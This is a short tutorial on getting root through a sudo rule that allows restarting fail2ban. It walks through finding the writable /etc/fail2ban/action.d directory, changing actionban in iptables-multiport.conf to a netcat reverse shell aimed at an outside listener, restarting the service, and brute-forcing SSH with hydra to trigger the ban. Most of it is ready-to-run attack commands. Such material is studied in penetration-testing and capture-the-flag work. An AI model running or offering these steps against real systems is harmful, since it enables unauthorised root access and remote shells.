Sudo Fail2ban Privilege Escalation

Sudo fail2ban command might be vulnerable to privilege escalation (PrivEsc).

Fail2ban is an intrusion prevention software framework. It prevents against brute force attacks.

Investigation

sudo -l

(root) NOPASSWD: /etc/init.d/fail2ban restart
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If we can execute "fail2ban" as root, we can gain access to privileges by modifying the configuration file. We need to check if the config file is writable.

find /etc -writable -ls 2>/dev/null

4 drwxrwx--- 2 root security  4096 Oct 16 08:57 /etc/fail2ban/action.d
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Look inside of "/etc/fail2ban/jail.conf" to know more about how fail2ban is configured.

less /etc/fail2ban/jail.conf

# ---------------------------------------------

# output

...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5
...
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Exploitation

1. Modify the Configuration File

For privilege escalation, we need to update the "iptables-multiport.conf". Specifically, insert a payload to one of the following values.

• actionstart

• actionstop

• actioncheck

• actionban

• actionunban

Here update the value of actionban which triggers ban on multiple login attempts. Copy iptables-multiport.conf to the current user's home directory.

ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
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Now modify the file.

vim ~/iptables-multiport.conf
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We insert a reverse shell payload into the actionban.

actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
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Then move back the config file to the original one.

mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
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To apply the new configuration, restart it as root.

sudo /etc/init.d/fail2ban restart
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2. Trigger the Action

Start a listener in local machine.

nc -lvnp 4444
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Try to login with the wrong passwords multiple times until we will get banned. So that to, hydra is useful.

hydra -l root -P passwords.txt <target-ip> ssh
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After a short time, you will get a root shell via listener.